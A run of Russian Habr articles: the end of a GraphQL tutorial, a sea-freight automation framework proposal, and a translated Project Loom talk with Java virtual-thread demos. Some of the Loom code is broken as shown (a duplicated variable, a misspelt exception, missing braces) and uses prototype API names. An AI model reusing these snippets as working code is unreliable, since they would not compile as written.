```
Обратите внимание, что мы запрашиваем только ограниченное количество полей, мы можем изменить наш запрос, добавив или удалив поля и увидев новые результаты.
Вывод
-----
В этой статье мы рассмотрели базовый пример GraphQL на Java со Spring Boot. Ознакомьтесь с подробной документацией [здесь](https://graphql.org/learn/).
Полный исходный код этого руководства можно найти на [GitHub](https://github.com/swathisprasad/graphql-with-spring-boot).
Дальнейшее чтение
-----------------
[Introduction to GraphQL](https://dzone.com/articles/5-features-of-graphql)
[GraphQL: Core Features, Architecture, Pros, and Cons](https://dzone.com/articles/graphql-core-features-architecture-pros-and-cons)
Если вам понравилась эта статья и вы хотите больше узнать о GraphQL, ознакомьтесь с этой [коллекцией учебников и статей](https://dzone.com/articles/your-guide-to-graphql-tutorials-and-articles) по всем вопросам, связанным с GraphQL.
> Прим. Переводчика.
>
> На русском языке также есть «[Руководство по GraphQL для начинающих](https://tproger.ru/translations/graphql-beginners-guide/)» | https://habr.com/ru/post/513170/ | null | ru | null |
# Фреймворк Автоматизации Морских Перевозок (SAF)
Александр Гусятинер, Олег Жихарев
ВВЕДЕНИЕ
--------
Фреймворк Автоматизации Морских Перевозок (SAF)
===============================================
Sea-Freight Automation Foundation (SAF)
Версия 0.2, 04 Октября 2018
Текущая модель информационного сопровождения транспортных процессов может быть охарактеризована следующим образом:
### **Ручное управление процессами, ручное выполнение задач и повторный ввод данных.**
Большинство бизнес-процессов, включая те процессы, которые повторяются регулярно и не требуют принятия сложных решений, полностью контролируются и выполняются людьми. В процессе выполнением различных логистических контрактов, персонал рутинно совершает телефонные звонки, пользуется электронной почтой, повторно вводит данные в различные веб-формы, отслеживает грузы в различных онлайн платформах, документирует выполнение договоров и так далее.
### **Большие Монолитные Платформы.**
Большинство используемых систем управления являются большими, трудно изменяемыми монолитами, которые лимитируют и затрудняют адаптацию к новым технологиям и изменениям в бизнесе.
К таким системам относятся:
*Информационные Платформы*: платформы грузоотправителей, таможенные платформы (Customs Single Window), платформы контейнерных линий, платформы железных дорог, системы управления морскими терминалами (TOS), платформы автомобильных перевозчиков, системы управления портами и т.д.
*Интеграционные Платформы*, обеспечивающим взаимодействие систем управления и индивидуальных клиентов, работающих в Интернете: Коммерческие облачные интеграционные платформы, Системы портовых сообществ, Системы электронных платежей и т.д.
### **Фрагментированные Процессы.**
Бизнес процессы разделены на отдельные, несвязанные между собой, фрагменты. Например, процесс контейнерного экспорта происходит в следующих фрагментах:
```
* Оформление Экспортной Таможенной Декларации происходит на платформе экспортера и платформе таможни.
* Резервирование контейнера происходит в пределах платформы грузоотправителя и контейнерной линии.
* Букирование контейнера на судно происходит в Системе Управления Терминалом.
```
В результате отсутствует возможность проследить весь процесс перевозки и участники часто обязаны повторно вводить данные.
### **Разнотипные пользовательские интерфейсы.**
В течение обычного рабочего дня пользователю, выполняющему повторяющуюся стандартную задачу, приходится использовать онлайн платформы, где эта задача выполняется совершенно по разному. Например, для контейнерных линий каждая Системе Управления Терминалом имеет свой пользовательский интерфейс для букирования контейнера на судно.
### **Отсутствие стандарта для бизнес ролей, соглашений и транзакций.**
В результате, различные участники по разному взаимодействуют друг с другом, их роли четко не определены, бизнес-операции (транзакции) выполняются и документируются разными способами.
**Отсутствие Стандартных API.**
Информационные и коммерческие интеграционные платформы одного назначения имеют разные интеграционные возможности: они поддерживают нестандартные API и используют различные форматы сообщений, такие как: EDI, XML, comma-separated values files, Excel и т.д.
**Использование различных Интернет протоколов.** \
Ситуация осложняется использованием различных протоколов для обмена данными в Интернете: FTP, Email, WEB Services и т.д. \
**Отсутствие Интернет сервисов для ряда участников.**
Большинство контейнерных линий и экспедиторов имеют собственные интернет сайты с различными 24/7 сервисами, однако большинство грузоотправителей, автомобильных перевозчиков, таможенных брокеров не имеют постоянного присутствия в Интернете. В результате телефонные звонки, интернет-почта и совещания являются основными способами общения и это общение часто останавливается, когда участники оказывается недоступными.
Все вышеперечисленные факторы приводят к следующим последствиям:
* Низкий уровень автоматизации бизнес-процессов.
* Высокая стоимость внедрения и поддержки платформ.
* Дополнительные затраты участников перевозки на услуги различных коммерческих интеграционных платформ.
* Участники перевозки сталкиваются с недоступностью, непрозрачностью и сложностью получения информации на различных этапах перевозки.
Фреймворк Автоматизации Морских Перевозок (SAF) это опен-сорс инициатива, которая предусматривает увеличение автоматизации процессов путем внедрения стандарта бизнес ролей, соглашений, транзакции и API.
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Основные определения и характеристики SAF:
* **Участник** (компания или человек) имеет уникальный идентификатор и играет одну или несколько **ролей** определенных вSAF**:** экспортер, грузоотправитель, таможня, морской терминал, порт, морская линия и т.д.
* **Соглашение (Engagement)** -это формальное или неформальная договоренность между **участниками** по взаимодействию для достижения определенной бизнес-цели, например:
* Транспортировка контейнера морем из порта погрузки в порт выгрузки и передача его грузополучателю;
* Заход судна в порт;
* Оформление экспортной таможенной декларации;
* Транспортировка контейнера от грузоотправителя в морской терминал;
* Доставка груза грузополучателю из морского терминала;
* и т.д.
* **E-Process** — это бизнес процесс по выполнению **Соглашения**. Каждый **E-Process** имеет свой уникальный код. Как правило, в конце такого процесса осуществляется оплата за выполненные услуги.
* **R-App** — это приложение, предназначенное для автоматизации определенной роли. Каждый **R-App** принадлежит одному участнику и имеет уникальный идентификатор. Вся сеть SAF состоит из множества таких приложений.
* **E-Chain** — это временная цепочка, состоящая из **R-App** приложений, принимающих участие в определенном процессе (**E-Process**)**.**
* **R-App** приложение может быть выполнено в виде облачного сервиса, настольного приложения, мобильного приложения для смартфона, децентрализованного блокчейн приложения (Dapp) и т.д.
* **R-App** обмениваются сообщениями друг с другом посредством дистанционного вызова методов: клиентский **R-App** вызывает метод в серверном **R-App**, передает ему сообщение и получает в ответ другое сообщение.
* **SAF-Transaction** — это объект данных, состоящий из посланного сообщения, сообщения (или сообщений), полученного в ответ, названия метода и идентификаторов участников.
* Процесс выполнения транзакции (**SAF-Transaction)** состоит из пересылки сообщений и изменения внутреннего состояния **R-App** участников.
* Клиентская и серверная **R-App** записывают транзакции (**SAF-Transaction**),которые они выполняют, в собственные базы данных.
* SAF описывает стандартные **API** для каждого приложения (**R-App**). В API декларируются методы для дистанционного вызова, а также форматы посылаемых сообщений и сообщений получаемых в ответ.
* **R-App** постоянно, в режиме 24/7, представлены в Интернете и зарегистрированы в онлайн регистраторах (**Online Registry**).
* **R-App** приложения могутодновременно принимать участие в процессах (**E-Process)** разных типов и передавать данные из одного процесса в другой.
* **R-App** занимаются автоматическим мониторингом и управлением процессами (**E-Process**) В случае задержек, приложения могут в автоматическом режиме обращаться непосредственно к участникам с помощью смс или электронной почты.
* **SAF-Model** — это описание Ролей, Соглашений, Транзакций и API, выполненное на языке описания данных Proto 3.
Применение SAF может привести к следующим положительным сдвигам:
| | |
| --- | --- |
| **Состояние Сегодня** | **SAF** |
| Ручное управление процессами перевозок и ручной ввод данных. | Компьютерное управление перевозочным процессом, распространяющееся на всех участников перевозки.
Меньшая зависимостью от доступности и эффективности участников процессов.
Отсутствие повторного ввода данных. |
| Большие монолитные платформы. | Небольшие сервисы (приложения) с четко определенными функциями.
Где необходимо, эти сервисы будут интегрироваться с существующими платформами. |
| Фрагментарные Несвязанные Процессы. | Полная интеграция всех процессов. |
| Различающиеся пользовательские интерфейсы для различных онлайн сервисов. | Унифицированные пользовательские интерфейсы. |
| Отсутствие стандарта для бизнес Ролей, Соглашений и Транзакций. | Определение стандартных бизнес Ролей, Соглашений и Транзакции, написанные на языке описания данных Proto 3. |
| Отсутствие стандарта для **API**. | Стандартные **API,** включающие описание методов и форматов сообщений, написанные на языке Proto 3. |
| Использование множества протоколов сети Интернет. | gRPC — современный много-платформенный фреймворк от Google для удалённого вызова процедур.
|
| Отсутствие Интернет сервисов для ряда участников. | Присутствие он-онлине всех участников перевозочного процесса.
| | https://habr.com/ru/post/426265/ | null | ru | null |
# Project Loom: Современная маcштабируемая многопоточность для платформы Java
Эффективное использование многочисленных ядер современных процессоров — сложная, но всё более важная задача. Java была одним из первых языков программирования со встроенной поддержкой concurrency. Ее concurrency-модель, основанная на нативных тредах, хорошо масштабируется для тысяч параллельно выполняющихся стримов, но оказывается слишком тяжеловесной для современного реактивного программирования с сотнями тысяч параллельных потоков.
Ответ на эту проблему — Project Loom. Он определяет и реализует в Java новые легковесные параллельные примитивы.
Алан Бейтман, руководитель проекта OpenJDK Core Libraries Project, потратил большую часть последних лет на проектирование Loom таким образом, чтобы он естественно и органично вписывался в богатый набор существующих библиотек Java и парадигм программирования. Об этом он и рассказал на Joker 2020. Под катом — запись с английскими и русскими субтитрами и перевод его доклада.
Меня зовут Алан Бейтман, я работаю в группе Java Platform в Oracle, преимущественно над OpenJDK. Сегодня я буду говорить о Project Loom.
Мы занялись этим проектом в конце 2017 года (точнее, технически в начале 2018-го). Он появился как проект в OpenJDK для того, чтобы упростить написание масштабируемых многопоточных приложений. Цель в том, чтобы позволить разработчикам писать масштабируемые многопоточные приложения в так называемом синхронном стиле. Это достигается путем доведения базовой единицы многопоточности — потока — до такой легковесности, чтобы им можно было представлять любую параллельную задачу. Даже задачи, которые блокируются или выполняются в течение длительного времени.
Кто-то говорит: чем больше несвязанных запросов поступает в серверное приложение, тем большей степени многопоточности можно достичь.
План выступления такой:
1. Начну с пары слов о мотивации этого проекта.
2. Поговорю о том, как мы имплементировали эти так называемые легкие потоки.
3. Переключусь на IDE и покажу несколько демо, напишу немного кода.
4. Наконец, рассмотрю другие аспекты проекта.
Потоки
======
Платформа Java (и язык, и JVM) во многом построена на концепции потоков:
* Если вы сталкиваетесь с исключением, то получаете трассировку стека определенного потока.
* Вы можете связать некоторые данные с потоками, используя ThreadLocal.
* Если вы находитесь в отладчике и выполняете пошаговое выполнение кода, вы шагаете по выполнению потока. Когда вы нажимаете step over, это означает переход к следующей инструкции в потоке, с которым вы работаете.
* А когда вы находитесь в профайлере, профайлеры обычно группируют данные по потокам, сообщают вам, какие потоки выполняются и что они делают.
В общем, всё, что касается платформы и инструментов, связано с потоками.
В Java API поток означает java.lang.Thread. В реализации JDK есть только одна реализация потока, которая фактически основана на потоке операционной системы. Между java.lang.Thread и потоком ОС существует связь один-к-одному. Те из вас, кто уже давно работает с платформой Java, могут вспомнить зелёные потоки в ранних выпусках JDK. Я немного расскажу об этом позже. Но по меньшей мере последние 20 лет, когда мы говорим о java.lang.Thread, мы говорим о тонкой оболочке вокруг потока ОС.
Cами потоки ОС ничего не знают о Java. Они очень общие. Обычно они должны поддерживать множество разных языков и сред выполнения. Они ничего не знают о том, как эти языки и программы используют стек, и им обычно приходится выделять очень большой фиксированный стек, чтобы поддерживать универсальность
программ, которые должны выполняться.
Другой аспект потоков операционной системы заключается в том, что они проходят через ядро ОС для переключения контекста, что обычно требует
значительное количество времени. В течение многих лет это было около микросекунды или больше.
Еще одна особенность потоков операционной системы заключается в том, что ядро ОС должно иметь некоторую форму планирования. Ему нужно выбрать, какой поток
запускать на каждом ядре процессора. Веб-серверы ведут себя совсем иначе, чем, например, поток с вычислениями для воспроизводения видео. Планировщик ОС должен быть очень общим и в некотором роде компромиссным, чтобы поддерживать все различные варианты использования.
Давайте немного поговорим об использовании потоков. Можно писать многопоточные приложения в стиле, который мы называем синхронным. Простой, императивный блокирующий синхронный код. Задачи выполняются в одном потоке от начала до конца. Код обычно очень легко читать и писать. Именно так большинство из нас, я думаю, учились его писать. Мы научились работать так с одним потоком до того, как узнали, что такое поток.
Этот синхронный стиль очень хорошо сочетается с дизайном языка Java. Он очень хорошо сочетается с инструментами. И в целом, как любит говорить мой коллега [Рон Пресслер](https://twitter.com/pressron), гармонично сочетается с платформой. Но поскольку поток по сути представляет собой тонкую оболочку вокруг потока ОС, это ограниченный ресурс.
Если каждая транзакция или запрос использует поток, то максимальное количество потоков — это максимальное количество транзакций, которые система может обрабатывать за раз. По сути, это наш уровень многопоточности.
А с современным сервером теоретически вы можете иметь миллионы сетевых подключений. Я видел, как [Хайнц Кабуц](https://twitter.com/heinzkabutz) делает демо с Project Loom, где он фактически использовал два миллиона соединений. И серверы могут поддерживать подобное, если у них достаточно памяти.
Итак, если у вас миллионы сетевых подключений, но только тысячи активных потоков, потоки становятся вашим ограничивающим фактором, если на каждое соединение приходится один поток. Так что они ограничивают наш уровень многопоточности. И это, безусловно, может сильно повлиять на пропускную способность.
Ладно, что нам с этим делать?
Если потоки — дорогой ресурс, почему бы нам ими не делиться? Это означает пулы потоков. Вместо создания потока для каждого запроса или транзакции мы заимствуем поток из пула, выполняем транзакцию, а затем возвращаем его в пул.
Но у пулов много проблем. Думаю, большинство тех, кто их использовал, знает о проблеме того, как они засоряют ThreadLocals. Эта так называемая утечка памяти с пулами потоков существует долгое время. Также проблематична отмена: если я хочу отменить транзакцию, но она почти завершена, я, возможно, прерываю поток после того, как он был взят для другой транзакции.
И даже если бы мы решили приведенные проблемы, этого все равно недостаточно, потому что мы все еще выполняем транзакцию от начала до конца в одном потоке. Это занимает его на протяжении всей операции, а уровень многопоточности по-прежнему ограничен количеством потоков, которые может обработать ОС.
Мы можем заметить, что для большого количества запросов и транзакций,
которые не упираются в CPU, поток проводит большую часть своего времени в ожидании, в блокировке, ожидая базу данных, IO, что-то еще. А нам, на самом деле, не нужен поток, когда он ожидает.
Предположим, что мы использовали подход, при котором поток во время ожидания возвращается в пул. Это позволяет одновременно выполнять гораздо больше транзакций. Проблема в том, что многие API, блокирующие API, удерживают поток на протяжении какой-либо операции — в ожидании блокировки, ожидании данных в сокете.
Это приводит нас к созданию новых API, по существу, несовместимых со старыми. Или в итоге у нас есть синхронные и асинхронные версии API.
Другой вопрос, что это вынуждает нас разделять транзакцию или запрос на мелкие кусочки, где разные части работают на разных потоках. Большая проблема с этим — мы теряем всякую связь с потоками, контекст становится очень и очень трудно отслеживать. Например, если появилось исключение, которое было брошено для определенной части или определенного этапа транзакции, — у меня нет общего контекста, где оно на самом деле было брошено.
Когда мы отлаживаем, это будет отладка лишь этапа транзакции. Если мы профилируем, то не увидим многого о том, что на самом деле происходит. Потому что многие транзакции выглядят ничего не делающими, они просто ждут IO. Профайлер, который смотрит на незанятый пул потоков, не особо много видит.
Я говорю здесь о том, что мы называем асинхронным стилем. Его преимущество в том, что он очень масштабируемый. Количество транзакций больше не ограничено количеством потоков. Но его трудно читать и иногда трудно поддерживать, потому что мы потеряли контекст.
Таким образом, в целом это позволяет нам лучше использовать аппаратные ресурсы, но наше приложение сложнее писать и поддерживать.
Что приводит нас к дилемме.
Разработчики могут написать простой синхронный код и потратить больше денег на оборудование. Или, если вы хотите эффективно использовать оборудование и управлять асинхронным приложением, тогда мы больше платим разработчикам.
Итак, как нам решить эту дилемму? Что, если бы мы могли снизить стоимость потоков и иметь их неограниченное количество? Тогда мы могли бы написать простой синхронный код, который гармонирует с платформой, полностью использует оборудование и масштабируется как асинхронный код. Project Loom именно об этом.
API
===
Давайте пойдем дальше и поговорим немного об API.
Если Project Loom снижает стоимость потоков, то как это будет отражаться на разработчиках и на API? Эта проблема сложнее, чем кажется на первый взгляд, и мы потратили более двух лет на борьбу с ней.
Один из вариантов, с которого мы начали и к которому в итоге вернулись, — это
использование для легких форм потоков java.lang.Thread. Это старый API, который существует с JDK 1.0. Проблема в том, что у него много «багажа». Там есть такие вещи, как группы потоков, загрузчик классов контекстов потоков. Есть множество полей и других API, которые связаны с потоками, которые просто не интересны.
Другой вариант — начать все сначала и ввести совершенно новую
конструкцию или новый API. Если вы с самого начала интересовались Project Loom, возможно, вы видели некоторые из ранних прототипов, где мы представили для дешевых легких потоков совершенно новый API под названием fiber.
Помимо изучения API, мы также много изучали, как люди используют потоки. Оказалось, что одни их части используются очень широко, другие — в меньшей степени. Thread.currentThread() используется и прямо и косвенно везде, например, для блокировки.
Вопрос, который часто возникает в викторинах: «Сколько раз Thread.currentThread() используется при первом использовании популярной библиотеки логирования?» Люди, не знающие ответа на этот вопрос, могут ответить 2 или 5. Правильный ответ — 113.
Другой широко используемый аспект потока — это ThreadLocals. Они используются везде, что иногда не радует. Если сломать Thread.currentThread() или ThreadLocals, то в контексте этих новых более дешевых потоков будет не запустить много уже существующего кода. Поэтому вначале, когда у нас был fiber API, нам пришлось эмулировать Thread API, чтобы существующий код запускался в контексте того, что называлось в то время fiber. Таким образом, мы могли уйти от кода, использующего Thread, не повредив нарыв.
Итак, .currentThread() и Threadlocals очень широко используются. Но в потоках есть и редко используемый «багаж». И здесь нам немного помогает расширенная политика депрекации. Если некоторые из этих старых областей со временем могли бы исчезнуть, подвергувшись депрекации, окончательной депрекации и, в конечном итоге, удалению — тогда, может быть, удастся жить с java.lang.Thread.
Два года исследований, около пяти прототипов — и мы пришли к выводу, что избежать
гравитационного притяжения 25 лет существующего кода невозможно. Эти новые дешевые потоки будут представлены с существующим API java.lang.Thread. То есть java.lang.Thread будет представлять и потоки ОС, и новые дешевые потоки.
Мы также решили дать этим новым потокам имя. Оно появилось благодаря [Брайану Гетцу](https://twitter.com/briangoetz), он придумал название «виртуальный поток» ([virtual thread](https://cr.openjdk.java.net/~rpressler/loom/loom/sol1_part1.html)).
Использование привычного Thread — хорошая новость для разработчиков. Нет новой модели программирования, нет новых концепций для изучения, вместо этого вам фактически придется отучиться от некоторых старых привычек. Когда я говорю «отучиться», я имею в виду такие вещи, как пулы потоков, ThreadLocals и так далее.
Как реализованы эти виртуальные потоки?
Они мультиплексируются поверх небольшого пула потоков операционной системы. Я сказал «потоки» во множественном числе, и вот тут уместно вспомнить уже упомянутые green threads. Ранние выпуски JDK, особенно 1.0.1.1 с классической виртуальной машиной, поддерживали модель, где потоки мультиплексировались в один-единственный поток ОС. То, что мы делаем теперь, перекликается с этим, но сейчас речь о более чем одном потоке ОС.
Итак, у нас есть набор потоков, на которые эти виртуальные потоки мультиплексируются. Под капотом виртуальная машина HotSpot была обновлена для поддержки новой конструкции: scoped stackful one-shot delimited continuations. Виртуальные потоки объединяют континуации в HotSpot с планировщиками в библиотеке Java. Когда код, выполняющийся в виртуальном потоке, блокируется, скажем, в операции блокировки или в блокирующей IO-операции, соответствующая континуация приостанавливается, стек потока, на концептуальном уровне, вымещается в кучу Java, а планировщик выберет и возобновит другой виртуальный поток в этом же потоке ОС. Исходный виртуальный поток может быть возобновлен в том же потоке ОС или в другом.
Таким образом, код, в котором есть остановка и возобновление, может делать это в разных потоках ОС с течением времени. Есть небольшой набор потоков операционной системы, который обычно как минимум соответствует количеству ядер в системе. Они поддерживают выполнение многих виртуальных потоков, осуществляя прогресс кусочек за кусочком.
Пользовательский код, использующий API Java, не знает о распределении, которое
происходит под капотом, а yield и resume происходит глубоко в библиотеках JDK, поэтому мы говорим, что планирование является вытесняющим и не требует сотрудничества со стороны кода пользователя.
С точки зрения стоимости, поток ОС слева, виртуальный поток справа.
Обычно операционная система резервирует около мегабайта стека для потока операционной системы. Некоторые ядра выделяют дополнительные данные ядра, и 16КБ не редкость. Это то, что операционная система имеет на поток ОС. Кроме того, виртуальная машина HotSpot добавляет к этому пару КБ метаданных.
Виртуальные потоки намного дешевле, текущий прототип составляет около 256 байт на виртуальный поток. Еще есть стек, он уменьшается и увеличивается по мере необходимости и обычно составляет пару КБ — в этом главное преимущество
виртуальных потоков перед потоками ОС.
Переключение задач также немного лучше, в типичных ОС оно составляет около микросекунды, в некоторых случаях может быть хуже. Лучший вариант с виртуальными потоками на данный момент работает лучше, около пары сотен наносекунд. Меньший размер и лучшее время переключения контекста означают, что мы можем иметь столько потоков, сколько захотим, и уровень многопоточности может
расти без ограничений.
Самое время перейти от слайдов к IDE и показать вам несколько примеров в коде.
Демо
====
У меня открыта IDE с пустым методом, и мы начнем с самого начала.
```
import ...
public class Demo {
public static void main(String[] args) throws Exception {...}
void run() throws Exception {
}
}
```
Я упомянул, что мы ввели новый фабричный метод, и начну с использования фабричного метода Thread.startVirtualThread().
```
import ...
public class Demo {
public static void main(String[] args) throws Exception {...}
void run() throws Exception {
Thread thread = Thread.startVirtualThread(() -> System.out.println("hello"));
thread.join();
}
}
```
Вывел сообщение «hello», ничего особенного. Это немного отличается от использования конструкторов и метода start(), здесь всего лишь один фабричный метод.
Я изменю тело лямбда-выражения, просто выведу трассировку стека, чтобы вы могли видеть, что на самом деле происходит.
```
void run() throws Exception {
Thread thread = Thread.startVirtualThread(Thread::dumpStack);
thread.join();
}
```
Этот референс-метод просто вызывает дамп стека в контексте виртуального потока.
Возможно, это выглядит немного иначе, чем то, что вы видели бы с обычным `java.lang.Thread`, потому что фреймы, которые вы видите здесь, не те, что вы видите в обычном JDK. Это своего рода эквивалент запуска потока, потому что виртуальный поток запускает континуацию. Это дает представление о том, в чем вы можете увидеть разницу.
Давайте рассмотрим еще один из аспектов API. Что делает этот `startVirtualThread()`?
В дополнение к введению фабричных методов для создания виртуальных потоков, текущий прототип имеет новый билдер для создания потоков. Создадим билдер с помощью метода `Thread.builder()`. Мы можем при этом вызвать несколько методов, позволяющих настроить поток: является ли он потоком-демоном, какое у него имя и некоторые другие аспекты.
В числе этих методов есть virtual(). Создание виртуального потока cо `startVirtualThread()`, было, по сути, тем же самым. Вот длинная форма того, что я сделал минуту назад:
```
void run() throws Exception {
Thread thread = Thread.builder().virtual().task(() -> {
System.out.println("hello");
}).start();
thread.join();
}
}
```
Мы снова сделали то же самое многословнее, но теперь использовали билдер потоков. А он избавляет нас от того, чтобы сначала использовать конструктор для создания потоков, а затем вызывать setDaemon() или setName(). Это очень полезно.
Это хорошее улучшение API для тех, кто в конечном итоге использует Thread API напрямую. Запускаем — и получаем то же, что и в случае с startVirtualThread().
Еще мы можем создать ThreadFactory.
```
void run() throws Exception {
ThreadFactory factory = Thread.builder().name("worker-", 0).factory();
}
```
Это создает фабрику потоков — она создает потоки, которые называют себя worker-0, worker-1, worker-2 и так далее. На самом деле worker — это только начальный аффикс, который добавляется к префиксу. Это еще один полезный способ создания фабрик потоков.
Покажу вам простой пример того, что вы можете делать с билдером потоков, используя возможности, которые дают нам дешёвые виртуальные потоки.
Большинство людей фактически не используют Thread API напрямую. Начиная с JDK 5, они перешли на использование ThreadExecutor и других API из java.util.concurrent.
Я хочу показать вам использование одного из этих ThreadExecutor. Мы создадим множество потоков и покажем вам, что на самом деле происходит.
Я собираюсь создать ExecutorService executor:
```
try (ExecutorService executor = Executors.newVirtualThreadExecutor()) {
}
```
Этот фабричный метод для Executors создает виртуальные потоки. Обратите внимание, что здесь я использую try-with-resources. Одна из вещей, которые мы сделали в Loom, — мы модернизировали ExecutorService для расширения AutoCloseable, чтобы вы могли использовать их с конструкцией try-with-resources.
Приятная вещь в том, что когда он закрыт, как на примере сверху, он гарантирует, что все задачи, которые являются потоками в этом случае, будет завершены до того, как завершится закрытие. На самом деле закрытие будет ждать, пока все задачи или потоки не будут завершены, что очень полезно. Этот тип Executor'а создает поток для каждой задачи, поэтому он сильно отличается от пулов потоков, которые вы обычно создаете с помощью фабричного класса Executors.
Давайте создадим здесь миллион потоков.
```
import ...
public class Demo {
public static void main(String[] args) throws Exception {...}
void run() throws Exception {
try (ExecutorService executor = Executors.newVirtualThreadExecutor()) {
IntStream.range(0, 1_000_000).forEach(i -> {
executor.submit(() -> { });
});
}
}
String fetch(String url) throws IOException {...}
void sleep(Duration duration) {...}
}
```
Я использую IntStream.range(), вместо цикла for. Это вызовет метод executor.submit() один миллион раз, он создаст миллион потоков, которые ничего не делают. Если это запустить, ничего интересного не произойдет — «Process finished with exit code 0».
Для наглядности давайте добавим счетчик, который будет обновляться каждым из потоков.
```
import ...
public class Demo {
public static void main(String[] args) throws Exception {...}
void run() throws Exception {
AtomicInteger counter = new AtomicInteger();
try (ExecutorService executor = Executors.newVirtualThreadExecutor()) {
IntStream.range(0, 1_000_000).forEach(i -> {
executor.submit(counter::incrementAndGet);
});
}
System.out.println(counter.get());
}
String fetch(String url) throws IOException {...}
void sleep(Duration duration) {...}
}
```
Мы создаем Executor, отправляем миллион задач, каждая из этих задач будет увеличивать счетчик, и когда все закончится, выводится значение счетчика. Если все работает правильно, как у нас, должен быть выведен миллион.
Отрабатывает быстро — как видите, эти потоки очень дешевы в создании.
Давайте покажу вам, что еще мы можем делать с Executor'ами. У меня есть метод, который просто принимает байты из определенного URL-адреса, создает из него строку. Это не очень интересно — разве что то, что это блокирующая операция.
```
String fetch(String url) throws IOExpection {
try (InputStream in = URI.create(url).toURL().openStream()) {
byte[] bytes = in.readAllBytes();
return new String(bytes, "ISO-8859-1");
}
}
```
Он создает сетевые подключения, HTTP-соединение будет ожидать результатов от сервера, мы просто воспользуемся этим как частью примера.
Давайте посмотрим вот на что:
```
void run() throws Exception {
try (ExecutorService executor = Executors.newVirtualThreadExecutor()) {
Callable task1 = () -> fetch("https://jokerconf.com/");
Callable task1 = () -> fetch("https://jokerconf.com/en");
String first = executor.invokeAny(List.of(task1, task2));
System.out.println(first.length());
}
}
```
Вот одна задача, которая получает HTML-страницу с jokerconf.com. Я собираюсь создать вторую задачу, которая будет делать то же самое, но будет получать английскую версию страницы. Если кто-то говорит на двух языках, то он сможет читать и русскую и английскую страницу, это не имеет значения.
Мы используем `executor.invokeAny()` и даем ему две задачи.
ExecutorService имеет несколько комбинаторов, `invokeAny()`, `invokeAll()`, они существуют уже давно. Мы можем использовать их с виртуальными потоками.
В данном случае мы подставим в first результат, в зависимости от того, какая из этих задач будет выполнена первой.
Я запущу два виртуальных потока. Один из них получит первую страницу, другой — вторую, в зависимости от того, что вернется первым, я получу результат в String first. Другой будет отменен (прерван). Запускаем — и получаем результат: «200160», то есть одна из страниц размером 200 КБ.
Итак, что произошло: были созданы два потока, один выполнял блокирующую операцию получения данных с первого URL-адреса, другой — со второго URL-адреса, и я получил то, что пришло первое. Если запущу еще пару раз, буду получать разные значения: одна из страниц всего 178 КБ, другая — 200 КБ.
Это один из комбинаторов. На самом деле, я бы мог хотеть обе страницы и что-то с ними сделать, в этом случае я мог бы использовать `invokeAll()`.
```
void run() throws Exception {
try (ExecutorService executor = Executors.newVirtualThreadExecutor()) {
Callable task1 = () -> fetch("https://jokerconf.com/");
Callable task1 = () -> fetch("https://jokerconf.com/en");
executor.invokeAll(List.of(task1, task2))
.stream()
.map(Future::join)
.map(String::length)
.forEach(System.out.println);
}
}
```
Как видите, это не слишком интересно — всё, что мы здесь делаем, это `invokeAll()`. Мы выполним обе задачи, они выполняются в разных потоках. `InvokeAll()` блокируется до тех пор, пока не будет доступен результат всех задач, потому что вы получаете здесь Future, которые гарантированно будут выполнены. Создаем поток, получаем результат, получаем длины, а затем просто выводим их. Получаем 200 КБ и 178 КБ. Вот что вы можете делать с ExecutorService.
Покажу вам еще кое-что. В рамках Loom мы немного поработали над CompletableFuture, чтобы вы могли делать подобное. Добавить задачу и получить CompletableFuture, а не Future, и тогда я смогу написать такой код:
```
void run() throws Exception {
try (ExecutorService executor = Executors.newVirtualThreadExecutor()) {
Callable task1 = () -> fetch("https://jokerconf.com/");
Callable task1 = () -> fetch("https://jokerconf.com/en");
CompletableFuture future1 = executor.submitTask(task1);
CompletableFuture future2 = executor.submitTask(task2);
CompletableFuture.completed(future1, future2)
.map(Future::join)
.map(String::length)
.forEach(System.out.println);
}
}
```
Я вызываю в CompletableFuture-метод под названием completed(). Это возвращает мне стрим, который заполняется Future в ленивом режиме по мере их завершения. Это намного интереснее, чем invokeAll(), который я показал ранее, поскольку метод не блокируется, пока не будут выполнены все задачи. Вместо этого поток заполняется результатом в ленивом режиме. Это похоже на стримо-подобную форму CompletionService, если вы когда-нибудь такое видели.
Я запущу несколько раз, порядок, вероятно, будет случайным. В любом случае, это дает вам представление о других вещах, которые вы можете делать с CompletableFuture, стримами и виртуальными потоками.
Еще одна вещь, которую я хочу сделать, забегая вперед. Мы еще поговорим об этом подробнее после демо. В прототипе есть ограничение. Виртуальные потоки делают то, что мы называем закреплением потока ОС, когда мы пытаемся выполнить IO-операции, удерживая монитор. Я объясню это лучше после демо, но пока у меня открыта IDE, покажу вам это на практике и объясню, на что это влияет.
```
import ...
public class Demo {
public static void main(String[] args) throws Exception {...}
void run() throws Exception {
Thread.startVirtualThread(() ->
sleep(Duration.ofSeconds(2));
}).join();
}
String fetch(String url) throws IOException {...}
void sleep(Duration duration) {...}
}
```
Виртуальный выполняет блокирующую операцию, спит две секунды, завершается. Пока не слишком интересно. Теперь предположим, что он должен спать, пока держит монитор.
```
void run() throws Exception {
Thread.startVirtualThread(() -> {
Object lock = new Object();
synchronized (lock) {
sleep(Duration.ofSeconds(2));
}
}).join();
}
```
Я запускаю это с диагностическим свойством, которое даст мне трассировку стека, когда поток закреплен.
Мы видим трассировку стека, которая говорит мне, что поток был закреплен. Она снабжена примечаниями, которые говорят мне, где удерживается монитор. Это ограничение в нашем текущем прототипе. По сути, потоки могут блокироваться, удерживая монитор. Поток закрепляет соответствующий поток ОС, эта скорее качество сервиса текущей реализации, чем ошибка. Я вернусь к тому, что мы делаем c этим, через несколько минут. Это своего рода базовое демо.
У меня есть более полная демонстрация, переключусь для этого на немного другой проект.
```
package demo;
import ...
@Path("/")
public class SleepService {
@GET
@Path("sleep")
@Producers(MediaType.APPLICATION_JSON)
public String sleep(@QueryParam("millis") long millis) throws Exception {
Thread.sleep(millis);
return "{ \"millis\": \"" + millis + "\" };
}
}
```
Уже существуют несколько серверов, которые работают с виртуальными потоками.
Есть сервер Helidon MP. Я думаю, MP означает MicroProfile. Helidon настроен, они недавно внесли некоторые изменения, теперь вы можете запустить его со свойством, при котором он будет запускать каждый запрос в отдельном виртуальном потоке. Мой код может выполнять операции блокировки, и они не будут закреплять базовый поток ОС. У меня может быть намного больше запросов, чем потоков, работающих одновременно и выполняющих блокирующие операции, это действительно очень полезно.
